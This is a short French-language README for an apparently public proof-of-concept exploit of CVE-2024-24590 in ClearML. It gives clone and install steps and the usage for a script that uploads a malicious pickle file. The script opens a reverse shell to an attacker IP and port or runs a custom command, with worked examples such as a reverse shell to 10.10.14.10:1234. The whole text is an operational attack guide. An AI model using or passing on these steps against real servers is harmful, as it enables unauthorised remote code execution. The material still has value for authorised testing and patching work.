
CVE-2024-24590 ClearML RCE&CMD POC
Ce dépôt contient un script d'exploitation Python pour CVE-2024-24590. Le script est conçu pour téléverser un fichier pickle malveillant vers ClearML, qui exécute un shell inversé ou une commande personnalisée.
Clonez le dépôt :
git clone https://github.com/diegogarciayala/CVE-2024-24590-ClearML-RCE-CMD-POC.git
cd CVE-2024-24590-ClearML-RCE-CMD-POC
Installez le SDK ClearML :
pip install clearml
clearml-init
Le script prend en charge deux modes d'opération : default et cmd.
Dans ce mode, vous devez fournir l'adresse IP et le port de l'attaquant pour établir un shell inversé.
python3 exploit.py default <nom_projet> <nom_tâche> <ip_attaquant> <port_attaquant>
Dans ce mode, vous pouvez fournir une commande personnalisée à exécuter.
python3 exploit.py cmd <nom_projet> <nom_tâche> --cmd "<votre_commande>"
python3 exploit.py default "Black Swan" "pwned4" "10.10.14.10" "1234"
python3 exploit.py cmd "Black Swan" "pwned4" --cmd "touch /tmp/shell.sh"